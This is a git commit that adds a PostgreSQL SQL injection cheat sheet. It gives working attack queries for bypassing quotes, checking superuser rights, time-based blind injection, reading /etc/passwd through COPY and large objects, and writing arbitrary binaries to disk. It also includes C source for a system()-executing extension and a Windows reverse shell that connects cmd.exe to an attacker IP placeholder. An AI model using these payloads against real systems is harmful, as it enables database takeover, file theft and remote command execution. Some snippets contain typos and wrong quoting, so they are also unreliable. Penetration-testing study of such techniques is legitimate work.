Browse Source

added cheatsheet about postgresql injection techniques

Marius Schwarz 4 years ago
parent
commit
44666bd7f5
1 changed files with 270 additions and 0 deletions
  1. 270 0
      cheatsheets/security/databases/postgresql-injection-techniques.md

+ 270 - 0
cheatsheets/security/databases/postgresql-injection-techniques.md

@@ -0,0 +1,270 @@
+---
+title: Postgresql SQL Injection Techniques
+categories: [cheatsheets]
+tags: [security, databases, sql]
+---
+
+# Postgresql SQL Injection Techniques
+
+* In postgresql, queries can mostly chained together with the `;` character.
+* This even works in SQL injection
+
+
+## Bypassing Character Restrictions
+
+* To Bypass quotes, dollar-signs(`$`) can be used as well:
+
+```sql
+SELECT 'Example String'
+SELECT $$Example String$$;
+SELECT $Tag$Example String$Tag$;
+```
+
+$\rightarrow$ A tag is optinal
+
+* The function `CHR()` can be used to convert a decimal number to an ASCII character
+    - Can be really helpful for printing non-printable characters
+    - Can be chained together by using `||`
+    - Character concatetation only works for simple queries
+
+```sql
+CHR(65) || CHR(65) || CHR(65) [...]
+```
+
+* Decoding base64 strings to bypass non-printable characters:
+
+```sql
+SELECT convert_from(decode("<base64-string>", 'base64'), "utf-8");
+```
+
+
+## Check Privileges
+
+* To verifiyt if the current user is DBA (Superadmin):
+
+```sql
+SELECT current_setting('is_superuser');
+```
+
+
+## Time-Based SQL Injection
+
+* In Postgresql, it is possible to sleep a certain time using the `pg_sleep()` function.
+* Example querie:
+
+```sql
+SELECT case when (SELECT current_settings('is_superuser'))='on' then pg_sleep(10) end;
+```
+
+
+## Writing to files
+
+* Only available when operating as the DBA user
+* To read/write files, the following syntax can be used:
+
+```sql
+COPY <table_name> from <file_name>
+COPY <table_name> to <file_name>
+```
+
+* For the `COPY TO` command, no table is needed.
+* It is possible to write arbitrary data to the file:
+
+```SQL
+COPY (SELECT "Arbitrary-String") to "/tmp/myfile";
+```
+
+$\rightarrow$ This again, is also possible in the combinatino with the `convert_from()`
+function to write base64 encoded data to a file (.so, .dll, .exe, ...).
+
+* To read content from a file into a table:
+
+```SQL
+CREATE TEMP TABLE input (content text);
+COPY input FROM "/etc/passwd";
+SELECT content FROM input;
+DROP TABLE input;
+```
+
+* This doesn't work with large binary files...
+    - There is a workaround - Postgresql Large Objects
+* Large Objects are used by postgresql to store files like PDFs or Images
+
+* Common large-object commands:
+
+```SQL
+select lo_import("/etc/passwd"); # returns a LO ID
+\lo_list # returns all the IDS from created Large Objects
+
+# directly specify the Blob ID:
+select lo_import("/etc/passwd", 1337);
+```
+
+* Steps to create own blobs:
+    - 1) Create Blob from arbitrary file that is available
+    - 2) Update its contents in the DB (Stored in the table `pg_largeobject`
+    - 3) Export it to the filsystem again
+    - 4) Deleting the LO again
+    - **Info:** Files are split into 2kB chunks in the database
+
+**Step 1:**
+
+* This can be done as already stated above:
+
+```SQL
+SELECT lo_import('filepath', 1337);
+```
+
+**Step 2:**
+
+* To update the contents, use the following query:
+
+```sql
+update pg_largeobject set data=decode('77303074', 'hex') where LOID=1337 and pageno=0;
+```
+
+* Increment the `pageno` for each 2kB chunk
+
+**Step 3:**
+
+* Export the large object with the `lo_export()` command:
+
+```sql
+SELECT lo_export(1337, '/tmp/destination.so');
+```
+
+**Step 4:**
+
+* The Large Object can be deleted by: `\lo_unlink 1337`
+
+
+## Executing Arbitrary Code
+
+### Compiling the Extension
+
+* It is important to compile the extension with the same version
+    - v12.0 libs for exploiting v12.0 server
+* Seperate compilation for Windows & Linux
+
+### Queries
+
+* An extesion can be loaded with the following query:
+
+```SQL
+CREATE OR REPLACE FUCNTION test(text) RETURNS void AS 'Filename', 'test' LANGUAGE 'C' STRICT;
+                           ----------         ----    ---------   -----
+                           function name     return   library     function name
+                           & function type   type     path
+```
+
+* To execute the function, use the following _call_:
+```
+SELECT test("parameter");
+```
+
+* The extension needs an specific Postgres structure
+    - Its not possible to load any .ddl or .so library
+* It is also possible to load the extesion from a remote location, e.g on Windows:
+
+```
+\\192.168.X.X\extension.dll
+```
+
+
+### Example Source-Code - Linux
+
+```C
+#include <string.h>
+#include "postgres.h"
+#include "fmgr.h"
+
+#ifdef PG_MODULE_MAGIC
+PG_MODULE_MAGIC;
+#endif
+
+PG_FUNCTION_INFO_V1(pg_exec);
+Datum pg_exec(PG_FUNCTION_ARGS) {
+    char* command = PG_GETARG_CSTRING(0);
+    PG_RETURN_INT32(system(command));
+}
+```
+
+* This can be compiled by using the following command:
+
+```sh
+gcc -I$(pg_config --includedir-server) -shared -fPIC -o pg_exec.so pg_exec.c
+```
+
+If the installed postgresql version doesn't match the server version:
+
+* Download the source-code of the same postgresql version that is running on the server
+* Configure it with: `./configure`
+* Compile the sources with: `make`
+* & Install them with: `sudo make install`
+
+Use the library sources as input for GCC:
+
+```sh
+gcc -I/path/to/postgresql/src/include -shared -fPIC -o pg_exec.so pg_exec.c
+```
+
+
+### Example Source-Code - Windows
+
+* Simple Postgresql reverse shell:
+
+```C
+#define _WINSOCK_DEPRECATED_NO_WARNINGS
+#include "postgres.h"
+#include <string.h>
+#include "fmgr.h"
+#include "utils/geo_decls.h"
+#include <stdio.h>
+#include <WinSock2.h>
+#include "utils/builtins.h"
+#pragma comment(lib, "ws2_32")
+
+
+#ifdef PG_MODULE_MAGIC
+PG_MODULE_MAGIC;
+#endif
+
+
+// Add a prototype marked PGDLLEXPORT
+PGDLLEXPORT Datum connect_back(PG_FUNCTION_ARGS);
+PG_FUNCTION_INFO_V1(connect_back);
+
+WSADATA wsaData;
+SOCKET s1;
+struct sockaddr_in hax;
+char ip_addr[16];
+STARTUPINFO sui;
+PROCESS_INFORMATION pi;
+
+Datum
+connect_back(PG_FUNCTION_ARGS) {
+
+#define GET_TEXT(cstrp) DatumGetTextP(DirectFunctionCall1(textin, CStringGetDatum(cstrp)))
+#define GET_STR(textp) DatumGetCString(DirectFunctionCall1(textout, PointerGetDatum(textp)))
+
+	WSAStartup(MAKEWORD(2, 2), &wsaData);
+	s1 = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP, NULL, (unsigned int)NULL, (unsigned int)NULL);
+
+	hax.sin_family = AF_INET;
+	hax.sin_port = htons(port_as_integer);
+	hax.sin_addr.s_addr = inet_addr("<ip-here>");
+
+	WSAConnect(s1, (SOCKADDR*)&hax, sizeof(hax), NULL, NULL, NULL, NULL);
+
+	memset(&sui, 0, sizeof(sui));
+	sui.cb = sizeof(sui);
+	sui.dwFlags = (STARTF_USESTDHANDLES | STARTF_USESHOWWINDOW);
+	sui.hStdInput = sui.hStdOutput = sui.hStdError = (HANDLE)s1;
+	CreateProcess(NULL, "cmd.exe", NULL, NULL, TRUE, 0, NULL, NULL, &sui, &pi);
+	PG_RETURN_VOID();
+
+
+}
+```
+
+* This can be compiled with Visual Studio - the postgresql libraries must be included